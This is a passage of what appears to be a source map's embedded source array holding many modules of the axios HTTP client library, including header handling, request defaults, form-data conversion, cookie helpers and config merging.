window !== 'undefined' && typeof document !== 'undefined';\n\n/**\n * Determine if we're running in a standard browser environment\n *\n * This allows axios to run in a web worker, and react-native.\n * Both environments support XMLHttpRequest, but not fully standard globals.\n *\n * web workers:\n *  typeof window -> undefined\n *  typeof document -> undefined\n *\n * react-native:\n *  navigator.product -> 'ReactNative'\n * nativescript\n *  navigator.product -> 'NativeScript' or 'NS'\n *\n * @returns {boolean}\n */\nconst hasStandardBrowserEnv = (\n  (product) => {\n    return hasBrowserEnv && ['ReactNative', 'NativeScript', 'NS'].indexOf(product) < 0\n  })(typeof navigator !== 'undefined' && navigator.product);\n\n/**\n * Determine if we're running in a standard browser webWorker environment\n *\n * Although the `isStandardBrowserEnv` method indicates that\n * `allows axios to run in a web worker`, the WebWorker will still be\n * filtered out due to its judgment standard\n * `typeof window !== 'undefined' && typeof document !== 'undefined'`.\n * This leads to a problem when axios post `FormData` in webWorker\n */\nconst hasStandardBrowserWebWorkerEnv = (() => {\n  return (\n    typeof WorkerGlobalScope !== 'undefined' &&\n    // eslint-disable-next-line no-undef\n    self instanceof WorkerGlobalScope &&\n    typeof self.importScripts === 'function'\n  );\n})();\n\nconst origin = hasBrowserEnv && window.location.href || 'http://localhost';\n\nexport {\n  hasBrowserEnv,\n  hasStandardBrowserWebWorkerEnv,\n  hasStandardBrowserEnv,\n  origin\n}\n","'use strict';\n\nexport default {\n  silentJSONParsing: true,\n  forcedJSONParsing: true,\n  clarifyTimeoutError: false\n};\n","import URLSearchParams from './classes/URLSearchParams.js'\nimport FormData from './classes/FormData.js'\nimport Blob from './classes/Blob.js'\n\nexport default {\n  isBrowser: true,\n  classes: {\n    URLSearchParams,\n    FormData,\n    Blob\n  },\n  protocols: ['http', 'https', 'file', 'blob', 'url', 'data']\n};\n","'use strict';\n\nimport AxiosURLSearchParams from '../../../helpers/AxiosURLSearchParams.js';\nexport default typeof URLSearchParams !== 'undefined' ? URLSearchParams : AxiosURLSearchParams;\n","'use strict';\n\nexport default typeof FormData !== 'undefined' ? FormData : null;\n","'use strict'\n\nexport default typeof Blob !== 'undefined' ? Blob : null\n","import platform from './node/index.js';\nimport * as utils from './common/utils.js';\n\nexport default {\n  ...utils,\n  ...platform\n}\n","'use strict';\n\nimport utils from '../utils.js';\n\n/**\n * It takes a string like `foo[x][y][z]` and returns an array like `['foo', 'x', 'y', 'z']\n *\n * @param {string} name - The name of the property to get.\n *\n * @returns An array of strings.\n */\nfunction parsePropPath(name) {\n  // foo[x][y][z]\n  // foo.x.y.z\n  // foo-x-y-z\n  // foo x y z\n  return utils.matchAll(/\\w+|\\[(\\w*)]/g, name).map(match => {\n    return match[0] === '[]' ? '' : match[1] || match[0];\n  });\n}\n\n/**\n * Convert an array to an object.\n *\n * @param {Array<any>} arr - The array to convert to an object.\n *\n * @returns An object with the same keys and values as the array.\n */\nfunction arrayToObject(arr) {\n  const obj = {};\n  const keys = Object.keys(arr);\n  let i;\n  const len = keys.length;\n  let key;\n  for (i = 0; i < len; i++) {\n    key = keys[i];\n    obj[key] = arr[key];\n  }\n  return obj;\n}\n\n/**\n * It takes a FormData object and returns a JavaScript object\n *\n * @param {string} formData The FormData object to convert to JSON.\n *\n * @returns {Object<string, any> | null} The converted object.\n */\nfunction formDataToJSON(formData) {\n  function buildPath(path, value, target, index) {\n    let name = path[index++];\n\n    if (name === '__proto__') return true;\n\n    const isNumericKey = Number.isFinite(+name);\n    const isLast = index >= path.length;\n    name = !name && utils.isArray(target) ? target.length : name;\n\n    if (isLast) {\n      if (utils.hasOwnProp(target, name)) {\n        target[name] = [target[name], value];\n      } else {\n        target[name] = value;\n      }\n\n      return !isNumericKey;\n    }\n\n    if (!target[name] || !utils.isObject(target[name])) {\n      target[name] = [];\n    }\n\n    const result = buildPath(path, value, target[name], index);\n\n    if (result && utils.isArray(target[name])) {\n      target[name] = arrayToObject(target[name]);\n    }\n\n    return !isNumericKey;\n  }\n\n  if (utils.isFormData(formData) && utils.isFunction(formData.entries)) {\n    const obj = {};\n\n    utils.forEachEntry(formData, (name, value) => {\n      buildPath(parsePropPath(name), value, obj, 0);\n    });\n\n    return obj;\n  }\n\n  return null;\n}\n\nexport default formDataToJSON;\n","'use strict';\n\nimport utils from '../utils.js';\nimport AxiosError from '../core/AxiosError.js';\nimport transitionalDefaults from './transitional.js';\nimport toFormData from '../helpers/toFormData.js';\nimport toURLEncodedForm from '../helpers/toURLEncodedForm.js';\nimport platform from '../platform/index.js';\nimport formDataToJSON from '../helpers/formDataToJSON.js';\n\n/**\n * It takes a string, tries to parse it, and if it fails, it returns the stringified version\n * of the input\n *\n * @param {any} rawValue - The value to be stringified.\n * @param {Function} parser - A function that parses a string into a JavaScript object.\n * @param {Function} encoder - A function that takes a value and returns a string.\n *\n * @returns {string} A stringified version of the rawValue.\n */\nfunction stringifySafely(rawValue, parser, encoder) {\n  if (utils.isString(rawValue)) {\n    try {\n      (parser || JSON.parse)(rawValue);\n      return utils.trim(rawValue);\n    } catch (e) {\n      if (e.name !== 'SyntaxError') {\n        throw e;\n      }\n    }\n  }\n\n  return (encoder || JSON.stringify)(rawValue);\n}\n\nconst defaults = {\n\n  transitional: transitionalDefaults,\n\n  adapter: ['xhr', 'http', 'fetch'],\n\n  transformRequest: [function transformRequest(data, headers) {\n    const contentType = headers.getContentType() || '';\n    const hasJSONContentType = contentType.indexOf('application/json') > -1;\n    const isObjectPayload = utils.isObject(data);\n\n    if (isObjectPayload && utils.isHTMLForm(data)) {\n      data = new FormData(data);\n    }\n\n    const isFormData = utils.isFormData(data);\n\n    if (isFormData) {\n      return hasJSONContentType ? JSON.stringify(formDataToJSON(data)) : data;\n    }\n\n    if (utils.isArrayBuffer(data) ||\n      utils.isBuffer(data) ||\n      utils.isStream(data) ||\n      utils.isFile(data) ||\n      utils.isBlob(data) ||\n      utils.isReadableStream(data)\n    ) {\n      return data;\n    }\n    if (utils.isArrayBufferView(data)) {\n      return data.buffer;\n    }\n    if (utils.isURLSearchParams(data)) {\n      headers.setContentType('application/x-www-form-urlencoded;charset=utf-8', false);\n      return data.toString();\n    }\n\n    let isFileList;\n\n    if (isObjectPayload) {\n      if (contentType.indexOf('application/x-www-form-urlencoded') > -1) {\n        return toURLEncodedForm(data, this.formSerializer).toString();\n      }\n\n      if ((isFileList = utils.isFileList(data)) || contentType.indexOf('multipart/form-data') > -1) {\n        const _FormData = this.env && this.env.FormData;\n\n        return toFormData(\n          isFileList ? {'files[]': data} : data,\n          _FormData && new _FormData(),\n          this.formSerializer\n        );\n      }\n    }\n\n    if (isObjectPayload || hasJSONContentType ) {\n      headers.setContentType('application/json', false);\n      return stringifySafely(data);\n    }\n\n    return data;\n  }],\n\n  transformResponse: [function transformResponse(data) {\n    const transitional = this.transitional || defaults.transitional;\n    const forcedJSONParsing = transitional && transitional.forcedJSONParsing;\n    const JSONRequested = this.responseType === 'json';\n\n    if (utils.isResponse(data) || utils.isReadableStream(data)) {\n      return data;\n    }\n\n    if (data && utils.isString(data) && ((forcedJSONParsing && !this.responseType) || JSONRequested)) {\n      const silentJSONParsing = transitional && transitional.silentJSONParsing;\n      const strictJSONParsing = !silentJSONParsing && JSONRequested;\n\n      try {\n        return JSON.parse(data);\n      } catch (e) {\n        if (strictJSONParsing) {\n          if (e.name === 'SyntaxError') {\n            throw AxiosError.from(e, AxiosError.ERR_BAD_RESPONSE, this, null, this.response);\n          }\n          throw e;\n        }\n      }\n    }\n\n    return data;\n  }],\n\n  /**\n   * A timeout in milliseconds to abort a request. If set to 0 (default) a\n   * timeout is not created.\n   */\n  timeout: 0,\n\n  xsrfCookieName: 'XSRF-TOKEN',\n  xsrfHeaderName: 'X-XSRF-TOKEN',\n\n  maxContentLength: -1,\n  maxBodyLength: -1,\n\n  env: {\n    FormData: platform.classes.FormData,\n    Blob: platform.classes.Blob\n  },\n\n  validateStatus: function validateStatus(status) {\n    return status >= 200 && status < 300;\n  },\n\n  headers: {\n    common: {\n      'Accept': 'application/json, text/plain, */*',\n      'Content-Type': undefined\n    }\n  }\n};\n\nutils.forEach(['delete', 'get', 'head', 'post', 'put', 'patch'], (method) => {\n  defaults.headers[method] = {};\n});\n\nexport default defaults;\n","'use strict';\n\nimport utils from '../utils.js';\nimport toFormData from './toFormData.js';\nimport platform from '../platform/index.js';\n\nexport default function toURLEncodedForm(data, options) {\n  return toFormData(data, new platform.classes.URLSearchParams(), Object.assign({\n    visitor: function(value, key, path, helpers) {\n      if (platform.isNode && utils.isBuffer(value)) {\n        this.append(key, value.toString('base64'));\n        return false;\n      }\n\n      return helpers.defaultVisitor.apply(this, arguments);\n    }\n  }, options));\n}\n","'use strict';\n\nimport utils from './../utils.js';\n\n// RawAxiosHeaders whose duplicates are ignored by node\n// c.f. https://nodejs.org/api/http.html#http_message_headers\nconst ignoreDuplicateOf = utils.toObjectSet([\n  'age', 'authorization', 'content-length', 'content-type', 'etag',\n  'expires', 'from', 'host', 'if-modified-since', 'if-unmodified-since',\n  'last-modified', 'location', 'max-forwards', 'proxy-authorization',\n  'referer', 'retry-after', 'user-agent'\n]);\n\n/**\n * Parse headers into an object\n *\n * ```\n * Date: Wed, 27 Aug 2014 08:58:49 GMT\n * Content-Type: application/json\n * Connection: keep-alive\n * Transfer-Encoding: chunked\n * ```\n *\n * @param {String} rawHeaders Headers needing to be parsed\n *\n * @returns {Object} Headers parsed into an object\n */\nexport default rawHeaders => {\n  const parsed = {};\n  let key;\n  let val;\n  let i;\n\n  rawHeaders && rawHeaders.split('\\n').forEach(function parser(line) {\n    i = line.indexOf(':');\n    key = line.substring(0, i).trim().toLowerCase();\n    val = line.substring(i + 1).trim();\n\n    if (!key || (parsed[key] && ignoreDuplicateOf[key])) {\n      return;\n    }\n\n    if (key === 'set-cookie') {\n      if (parsed[key]) {\n        parsed[key].push(val);\n      } else {\n        parsed[key] = [val];\n      }\n    } else {\n      parsed[key] = parsed[key] ? parsed[key] + ', ' + val : val;\n    }\n  });\n\n  return parsed;\n};\n","'use strict';\n\nimport utils from '../utils.js';\nimport parseHeaders from '../helpers/parseHeaders.js';\n\nconst $internals = Symbol('internals');\n\nfunction normalizeHeader(header) {\n  return header && String(header).trim().toLowerCase();\n}\n\nfunction normalizeValue(value) {\n  if (value === false || value == null) {\n    return value;\n  }\n\n  return utils.isArray(value) ? value.map(normalizeValue) : String(value);\n}\n\nfunction parseTokens(str) {\n  const tokens = Object.create(null);\n  const tokensRE = /([^\\s,;=]+)\\s*(?:=\\s*([^,;]+))?/g;\n  let match;\n\n  while ((match = tokensRE.exec(str))) {\n    tokens[match[1]] = match[2];\n  }\n\n  return tokens;\n}\n\nconst isValidHeaderName = (str) => /^[-_a-zA-Z0-9^`|~,!#$%&'*+.]+$/.test(str.trim());\n\nfunction matchHeaderValue(context, value, header, filter, isHeaderNameFilter) {\n  if (utils.isFunction(filter)) {\n    return filter.call(this, value, header);\n  }\n\n  if (isHeaderNameFilter) {\n    value = header;\n  }\n\n  if (!utils.isString(value)) return;\n\n  if (utils.isString(filter)) {\n    return value.indexOf(filter) !== -1;\n  }\n\n  if (utils.isRegExp(filter)) {\n    return filter.test(value);\n  }\n}\n\nfunction formatHeader(header) {\n  return header.trim()\n    .toLowerCase().replace(/([a-z\\d])(\\w*)/g, (w, char, str) => {\n      return char.toUpperCase() + str;\n    });\n}\n\nfunction buildAccessors(obj, header) {\n  const accessorName = utils.toCamelCase(' ' + header);\n\n  ['get', 'set', 'has'].forEach(methodName => {\n    Object.defineProperty(obj, methodName + accessorName, {\n      value: function(arg1, arg2, arg3) {\n        return this[methodName].call(this, header, arg1, arg2, arg3);\n      },\n      configurable: true\n    });\n  });\n}\n\nclass AxiosHeaders {\n  constructor(headers) {\n    headers && this.set(headers);\n  }\n\n  set(header, valueOrRewrite, rewrite) {\n    const self = this;\n\n    function setHeader(_value, _header, _rewrite) {\n      const lHeader = normalizeHeader(_header);\n\n      if (!lHeader) {\n        throw new Error('header name must be a non-empty string');\n      }\n\n      const key = utils.findKey(self, lHeader);\n\n      if(!key || self[key] === undefined || _rewrite === true || (_rewrite === undefined && self[key] !== false)) {\n        self[key || _header] = normalizeValue(_value);\n      }\n    }\n\n    const setHeaders = (headers, _rewrite) =>\n      utils.forEach(headers, (_value, _header) => setHeader(_value, _header, _rewrite));\n\n    if (utils.isPlainObject(header) || header instanceof this.constructor) {\n      setHeaders(header, valueOrRewrite)\n    } else if(utils.isString(header) && (header = header.trim()) && !isValidHeaderName(header)) {\n      setHeaders(parseHeaders(header), valueOrRewrite);\n    } else if (utils.isHeaders(header)) {\n      for (const [key, value] of header.entries()) {\n        setHeader(value, key, rewrite);\n      }\n    } else {\n      header != null && setHeader(valueOrRewrite, header, rewrite);\n    }\n\n    return this;\n  }\n\n  get(header, parser) {\n    header = normalizeHeader(header);\n\n    if (header) {\n      const key = utils.findKey(this, header);\n\n      if (key) {\n        const value = this[key];\n\n        if (!parser) {\n          return value;\n        }\n\n        if (parser === true) {\n          return parseTokens(value);\n        }\n\n        if (utils.isFunction(parser)) {\n          return parser.call(this, value, key);\n        }\n\n        if (utils.isRegExp(parser)) {\n          return parser.exec(value);\n        }\n\n        throw new TypeError('parser must be boolean|regexp|function');\n      }\n    }\n  }\n\n  has(header, matcher) {\n    header = normalizeHeader(header);\n\n    if (header) {\n      const key = utils.findKey(this, header);\n\n      return !!(key && this[key] !== undefined && (!matcher || matchHeaderValue(this, this[key], key, matcher)));\n    }\n\n    return false;\n  }\n\n  delete(header, matcher) {\n    const self = this;\n    let deleted = false;\n\n    function deleteHeader(_header) {\n      _header = normalizeHeader(_header);\n\n      if (_header) {\n        const key = utils.findKey(self, _header);\n\n        if (key && (!matcher || matchHeaderValue(self, self[key], key, matcher))) {\n          delete self[key];\n\n          deleted = true;\n        }\n      }\n    }\n\n    if (utils.isArray(header)) {\n      header.forEach(deleteHeader);\n    } else {\n      deleteHeader(header);\n    }\n\n    return deleted;\n  }\n\n  clear(matcher) {\n    const keys = Object.keys(this);\n    let i = keys.length;\n    let deleted = false;\n\n    while (i--) {\n      const key = keys[i];\n      if(!matcher || matchHeaderValue(this, this[key], key, matcher, true)) {\n        delete this[key];\n        deleted = true;\n      }\n    }\n\n    return deleted;\n  }\n\n  normalize(format) {\n    const self = this;\n    const headers = {};\n\n    utils.forEach(this, (value, header) => {\n      const key = utils.findKey(headers, header);\n\n      if (key) {\n        self[key] = normalizeValue(value);\n        delete self[header];\n        return;\n      }\n\n      const normalized = format ? formatHeader(header) : String(header).trim();\n\n      if (normalized !== header) {\n        delete self[header];\n      }\n\n      self[normalized] = normalizeValue(value);\n\n      headers[normalized] = true;\n    });\n\n    return this;\n  }\n\n  concat(...targets) {\n    return this.constructor.concat(this, ...targets);\n  }\n\n  toJSON(asStrings) {\n    const obj = Object.create(null);\n\n    utils.forEach(this, (value, header) => {\n      value != null && value !== false && (obj[header] = asStrings && utils.isArray(value) ? value.join(', ') : value);\n    });\n\n    return obj;\n  }\n\n  [Symbol.iterator]() {\n    return Object.entries(this.toJSON())[Symbol.iterator]();\n  }\n\n  toString() {\n    return Object.entries(this.toJSON()).map(([header, value]) => header + ': ' + value).join('\\n');\n  }\n\n  get [Symbol.toStringTag]() {\n    return 'AxiosHeaders';\n  }\n\n  static from(thing) {\n    return thing instanceof this ? thing : new this(thing);\n  }\n\n  static concat(first, ...targets) {\n    const computed = new this(first);\n\n    targets.forEach((target) => computed.set(target));\n\n    return computed;\n  }\n\n  static accessor(header) {\n    const internals = this[$internals] = (this[$internals] = {\n      accessors: {}\n    });\n\n    const accessors = internals.accessors;\n    const prototype = this.prototype;\n\n    function defineAccessor(_header) {\n      const lHeader = normalizeHeader(_header);\n\n      if (!accessors[lHeader]) {\n        buildAccessors(prototype, _header);\n        accessors[lHeader] = true;\n      }\n    }\n\n    utils.isArray(header) ? header.forEach(defineAccessor) : defineAccessor(header);\n\n    return this;\n  }\n}\n\nAxiosHeaders.accessor(['Content-Type', 'Content-Length', 'Accept', 'Accept-Encoding', 'User-Agent', 'Authorization']);\n\n// reserved names hotfix\nutils.reduceDescriptors(AxiosHeaders.prototype, ({value}, key) => {\n  let mapped = key[0].toUpperCase() + key.slice(1); // map `set` => `Set`\n  return {\n    get: () => value,\n    set(headerValue) {\n      this[mapped] = headerValue;\n    }\n  }\n});\n\nutils.freezeMethods(AxiosHeaders);\n\nexport default AxiosHeaders;\n","'use strict';\n\nimport utils from './../utils.js';\nimport defaults from '../defaults/index.js';\nimport AxiosHeaders from '../core/AxiosHeaders.js';\n\n/**\n * Transform the data for a request or a response\n *\n * @param {Array|Function} fns A single function or Array of functions\n * @param {?Object} response The response object\n *\n * @returns {*} The resulting transformed data\n */\nexport default function transformData(fns, response) {\n  const config = this || defaults;\n  const context = response || config;\n  const headers = AxiosHeaders.from(context.headers);\n  let data = context.data;\n\n  utils.forEach(fns, function transform(fn) {\n    data = fn.call(config, data, headers.normalize(), response ? response.status : undefined);\n  });\n\n  headers.normalize();\n\n  return data;\n}\n","'use strict';\n\nexport default function isCancel(value) {\n  return !!(value && value.__CANCEL__);\n}\n","'use strict';\n\nimport AxiosError from '../core/AxiosError.js';\nimport utils from '../utils.js';\n\n/**\n * A `CanceledError` is an object that is thrown when an operation is canceled.\n *\n * @param {string=} message The message.\n * @param {Object=} config The config.\n * @param {Object=} request The request.\n *\n * @returns {CanceledError} The created error.\n */\nfunction CanceledError(message, config, request) {\n  // eslint-disable-next-line no-eq-null,eqeqeq\n  AxiosError.call(this, message == null ? 'canceled' : message, AxiosError.ERR_CANCELED, config, request);\n  this.name = 'CanceledError';\n}\n\nutils.inherits(CanceledError, AxiosError, {\n  __CANCEL__: true\n});\n\nexport default CanceledError;\n","'use strict';\n\nimport AxiosError from './AxiosError.js';\n\n/**\n * Resolve or reject a Promise based on response status.\n *\n * @param {Function} resolve A function that resolves the promise.\n * @param {Function} reject A function that rejects the promise.\n * @param {object} response The response.\n *\n * @returns {object} The response.\n */\nexport default function settle(resolve, reject, response) {\n  const validateStatus = response.config.validateStatus;\n  if (!response.status || !validateStatus || validateStatus(response.status)) {\n    resolve(response);\n  } else {\n    reject(new AxiosError(\n      'Request failed with status code ' + response.status,\n      [AxiosError.ERR_BAD_REQUEST, AxiosError.ERR_BAD_RESPONSE][Math.floor(response.status / 100) - 4],\n      response.config,\n      response.request,\n      response\n    ));\n  }\n}\n","'use strict';\n\n/**\n * Calculate data maxRate\n * @param {Number} [samplesCount= 10]\n * @param {Number} [min= 1000]\n * @returns {Function}\n */\nfunction speedometer(samplesCount, min) {\n  samplesCount = samplesCount || 10;\n  const bytes = new Array(samplesCount);\n  const timestamps = new Array(samplesCount);\n  let head = 0;\n  let tail = 0;\n  let firstSampleTS;\n\n  min = min !== undefined ? min : 1000;\n\n  return function push(chunkLength) {\n    const now = Date.now();\n\n    const startedAt = timestamps[tail];\n\n    if (!firstSampleTS) {\n      firstSampleTS = now;\n    }\n\n    bytes[head] = chunkLength;\n    timestamps[head] = now;\n\n    let i = tail;\n    let bytesCount = 0;\n\n    while (i !== head) {\n      bytesCount += bytes[i++];\n      i = i % samplesCount;\n    }\n\n    head = (head + 1) % samplesCount;\n\n    if (head === tail) {\n      tail = (tail + 1) % samplesCount;\n    }\n\n    if (now - firstSampleTS < min) {\n      return;\n    }\n\n    const passed = startedAt && now - startedAt;\n\n    return passed ? Math.round(bytesCount * 1000 / passed) : undefined;\n  };\n}\n\nexport default speedometer;\n","'use strict';\n\n/**\n * Throttle decorator\n * @param {Function} fn\n * @param {Number} freq\n * @return {Function}\n */\nfunction throttle(fn, freq) {\n  let timestamp = 0;\n  const threshold = 1000 / freq;\n  let timer = null;\n  return function throttled() {\n    const force = this === true;\n\n    const now = Date.now();\n    if (force || now - timestamp > threshold) {\n      if (timer) {\n        clearTimeout(timer);\n        timer = null;\n      }\n      timestamp = now;\n      return fn.apply(null, arguments);\n    }\n    if (!timer) {\n      timer = setTimeout(() => {\n        timer = null;\n        timestamp = Date.now();\n        return fn.apply(null, arguments);\n      }, threshold - (now - timestamp));\n    }\n  };\n}\n\nexport default throttle;\n","import speedometer from \"./speedometer.js\";\nimport throttle from \"./throttle.js\";\n\nexport default (listener, isDownloadStream, freq = 3) => {\n  let bytesNotified = 0;\n  const _speedometer = speedometer(50, 250);\n\n  return throttle(e => {\n    const loaded = e.loaded;\n    const total = e.lengthComputable ? e.total : undefined;\n    const progressBytes = loaded - bytesNotified;\n    const rate = _speedometer(progressBytes);\n    const inRange = loaded <= total;\n\n    bytesNotified = loaded;\n\n    const data = {\n      loaded,\n      total,\n      progress: total ? (loaded / total) : undefined,\n      bytes: progressBytes,\n      rate: rate ? rate : undefined,\n      estimated: rate && total && inRange ? (total - loaded) / rate : undefined,\n      event: e,\n      lengthComputable: total != null\n    };\n\n    data[isDownloadStream ? 'download' : 'upload'] = true;\n\n    listener(data);\n  }, freq);\n}\n","'use strict';\n\nimport utils from './../utils.js';\nimport platform from '../platform/index.js';\n\nexport default platform.hasStandardBrowserEnv ?\n\n// Standard browser envs have full support of the APIs needed to test\n// whether the request URL is of the same origin as current location.\n  (function standardBrowserEnv() {\n    const msie = /(msie|trident)/i.test(navigator.userAgent);\n    const urlParsingNode = document.createElement('a');\n    let originURL;\n\n    /**\n    * Parse a URL to discover its components\n    *\n    * @param {String} url The URL to be parsed\n    * @returns {Object}\n    */\n    function resolveURL(url) {\n      let href = url;\n\n      if (msie) {\n        // IE needs attribute set twice to normalize properties\n        urlParsingNode.setAttribute('href', href);\n        href = urlParsingNode.href;\n      }\n\n      urlParsingNode.setAttribute('href', href);\n\n      // urlParsingNode provides the UrlUtils interface - http://url.spec.whatwg.org/#urlutils\n      return {\n        href: urlParsingNode.href,\n        protocol: urlParsingNode.protocol ? urlParsingNode.protocol.replace(/:$/, '') : '',\n        host: urlParsingNode.host,\n        search: urlParsingNode.search ? urlParsingNode.search.replace(/^\\?/, '') : '',\n        hash: urlParsingNode.hash ? urlParsingNode.hash.replace(/^#/, '') : '',\n        hostname: urlParsingNode.hostname,\n        port: urlParsingNode.port,\n        pathname: (urlParsingNode.pathname.charAt(0) === '/') ?\n          urlParsingNode.pathname :\n          '/' + urlParsingNode.pathname\n      };\n    }\n\n    originURL = resolveURL(window.location.href);\n\n    /**\n    * Determine if a URL shares the same origin as the current location\n    *\n    * @param {String} requestURL The URL to test\n    * @returns {boolean} True if URL shares the same origin, otherwise false\n    */\n    return function isURLSameOrigin(requestURL) {\n      const parsed = (utils.isString(requestURL)) ? resolveURL(requestURL) : requestURL;\n      return (parsed.protocol === originURL.protocol &&\n          parsed.host === originURL.host);\n    };\n  })() :\n\n  // Non standard browser envs (web workers, react-native) lack needed support.\n  (function nonStandardBrowserEnv() {\n    return function isURLSameOrigin() {\n      return true;\n    };\n  })();\n","import utils from './../utils.js';\nimport platform from '../platform/index.js';\n\nexport default platform.hasStandardBrowserEnv ?\n\n  // Standard browser envs support document.cookie\n  {\n    write(name, value, expires, path, domain, secure) {\n      const cookie = [name + '=' + encodeURIComponent(value)];\n\n      utils.isNumber(expires) && cookie.push('expires=' + new Date(expires).toGMTString());\n\n      utils.isString(path) && cookie.push('path=' + path);\n\n      utils.isString(domain) && cookie.push('domain=' + domain);\n\n      secure === true && cookie.push('secure');\n\n      document.cookie = cookie.join('; ');\n    },\n\n    read(name) {\n      const match = document.cookie.match(new RegExp('(^|;\\\\s*)(' + name + ')=([^;]*)'));\n      return (match ? decodeURIComponent(match[3]) : null);\n    },\n\n    remove(name) {\n      this.write(name, '', Date.now() - 86400000);\n    }\n  }\n\n  :\n\n  // Non-standard browser env (web workers, react-native) lack needed support.\n  {\n    write() {},\n    read() {\n      return null;\n    },\n    remove() {}\n  };\n\n","'use strict';\n\nimport isAbsoluteURL from '../helpers/isAbsoluteURL.js';\nimport combineURLs from '../helpers/combineURLs.js';\n\n/**\n * Creates a new URL by combining the baseURL with the requestedURL,\n * only when the requestedURL is not already an absolute URL.\n * If the requestURL is absolute, this function returns the requestedURL untouched.\n *\n * @param {string} baseURL The base URL\n * @param {string} requestedURL Absolute or relative URL to combine\n *\n * @returns {string} The combined full path\n */\nexport default function buildFullPath(baseURL, requestedURL) {\n  if (baseURL && !isAbsoluteURL(requestedURL)) {\n    return combineURLs(baseURL, requestedURL);\n  }\n  return requestedURL;\n}\n","'use strict';\n\n/**\n * Determines whether the specified URL is absolute\n *\n * @param {string} url The URL to test\n *\n * @returns {boolean} True if the specified URL is absolute, otherwise false\n */\nexport default function isAbsoluteURL(url) {\n  // A URL is considered absolute if it begins with \"<scheme>://\" or \"//\" (protocol-relative URL).\n  // RFC 3986 defines scheme name as a sequence of characters beginning with a letter and followed\n  // by any combination of letters, digits, plus, period, or hyphen.\n  return /^([a-z][a-z\\d+\\-.]*:)?\\/\\//i.test(url);\n}\n","'use strict';\n\n/**\n * Creates a new URL by combining the specified URLs\n *\n * @param {string} baseURL The base URL\n * @param {string} relativeURL The relative URL\n *\n * @returns {string} The combined URL\n */\nexport default function combineURLs(baseURL, relativeURL) {\n  return relativeURL\n    ? baseURL.replace(/\\/?\\/$/, '') + '/' + relativeURL.replace(/^\\/+/, '')\n    : baseURL;\n}\n","'use strict';\n\nimport utils from '../utils.js';\nimport AxiosHeaders from \"./AxiosHeaders.js\";\n\nconst headersToObject = (thing) => thing instanceof AxiosHeaders ? { ...thing } : thing;\n\n/**\n * Config-specific merge-function which creates a new config-object\n * by merging two configuration objects together.\n *\n * @param {Object} config1\n * @param {Object} config2\n *\n * @returns {Object} New object resulting from merging config2 to config1\n */\nexport default function mergeConfig(config1, config2) {\n  // eslint-disable-next-line no-param-reassign\n  config2 = config2 || {};\n  const config = {};\n\n  function getMergedValue(target, source, caseless) {\n    if (utils.isPlainObject(target) && utils.isPlainObject(source)) {\n      return utils.merge.call({caseless}, target, source);\n    } else if (utils.isPlainObject(source)) {\n      return utils.merge({}, source);\n    } else if (utils.isArray(source)) {\n      return source.slice();\n    }\n    return source;\n  }\n\n  // eslint-disable-next-line consistent-return\n  function mergeDeepProperties(a, b, caseless) {\n    if (!utils.isUndefined(b)) {\n      return getMergedValue(a, b, caseless);\n    } else if (!utils.isUndefined(a)) {\n      return getMergedValue(undefined, a, caseless);\n    }\n  }\n\n  // eslint-disable-next-line consistent-return\n  function valueFromConfig2(a, b) {\n    if (!utils.isUndefined(b)) {\n      return getMergedValue(undefined, b);\n    }\n  }\n\n  // eslint-disable-next-line consistent-return\n  function defaultToConfig2(a, b) {\n    if (!utils.isUndefined(b)) {\n      return getMergedValue(undefined, b);\n    } else if (!utils.isUndefined(a)) {\n      return getMergedValue(undefined, a);\n    }\n  }\n\n  // eslint-disable-next-line consistent-return\n  function mergeDirectKeys(a, b, prop) {\n    if (prop in config2) {\n      return getMergedValue(a, b);\n    } else if (prop in config1) {\n      return getMergedValue(undefined, a);\n    }\n  }\n\n  const mergeMap = {\n    url: valueFromConfig2,\n    method: valueFromConfig2,\n    data: valueFromConfig2,\n    baseURL: defaultToConfig2,\n    transformRequest: defaultToConfig2,\n    transformResponse: defaultToConfig2,\n    paramsSerializer: defaultToConfig2,\n    timeout: defaultToConfig2,\n    timeoutMessage: defaultToConfig2,\n    withCredentials: defaultToConfig2,\n    withXSRFToken: defaultToConfig2,\n    adapter: defaultToConfig2,\n    responseType: defaultToConfig2,\n    xsrfCookieName: defaultToConfig2,\n    xsrfHeaderName: defaultToConfig2,\n    onUploadProgress: defaultToConfig2,\n    onDownloadProgress: defaultToConfig2,\n    decompress: defaultToConfig2,\n    maxContentLength: defaultToConfig2,\n    maxBodyLength: defaultToConfig2,\n    beforeRedirect: defaultToConfig2,\n    transport: defaultToConfig2,\n    httpAgent: defaultToConfig2,\n    httpsAgent: defaultToConfig2,\n    cancelToken: defaultToConfig2,\n    socketPath: defaultToConfig2,\n    responseEncoding: defaultToConfig2,\n    validateStatus: mergeDirectKeys,\n    headers: (a, b) => mergeDeepProperties(headersToObject(a), headersToObject(b), true)\n  };\n\n  utils.forEach(Object.keys(Object.assign({}, config1, config2)), function computeConfigValue(prop) {\n    const merge = mergeMap[prop] || mergeDeepProperties;\n    const configValue = merge(config1[prop], config2[prop], prop);\n    (utils.isUndefined(configValue) && merge !== mergeDirectKeys) || (config[prop] = configValue);\n  });\n\n  return config;\n}\n","import platform from \"../platform/index.js\";\nimport utils from \"../utils.js\";\nimport isURLSameOrigin from \"./isURLSameOrigin.js\";\nimport cookies from \"./cookies.js\";\nimport buildFullPath from \"../core/buildFullPath.js\";\nimport mergeConfig from \"../core/mergeConfig.js\";\nimport AxiosHeaders from \"../core/AxiosHeaders.js\";\nimport buildURL from \"./buildURL.js\";\n\nexport default (config) => {\n  const newConfig = mergeConfig({}, config);\n\n  let {data, withXSRFToken, xsrfHeaderName, xsrfCookieName, headers, auth} = newConfig;\n\n  newConfig.headers = headers = AxiosHeaders.from(headers);\n\n  newConfig.url = buildURL(buildFullPath(newConfig.baseURL, newConfig.url), config.params, config.paramsSerializer);\n\n  // HTTP basic authentication\n  if (auth) {\n    headers.set('Authorization', 'Basic ' +\n      btoa((auth.username || '') + ':' + (auth.password ? unescape(encodeURIComponent(auth.password)) : ''))\n    );\n  }\n\n  let contentType;\n\n  if (utils.isFormData(data)) {\n    if (platform.hasStandardBrowserEnv || platform.hasStandardBrowserWebWorkerEnv) {\n      headers.setContentType(undefined); // Let the browser set it\n    } else if ((contentType = headers.getContentType()) !== false) {\n      // fix semicolon duplication issue for ReactNative FormData implementation\n      const [type, ...tokens] = contentType ? contentType.split(';').map(token => token.trim()).filter(Boolean) : [];\n      headers.setContentType([type || 'multipart/form-data', ...tokens].join('; '));\n    }\n  }\n\n  // Add xsrf header\n  // This is only done if running in a standard browser environment.\n  // Specifically not if we're in a web worker, or 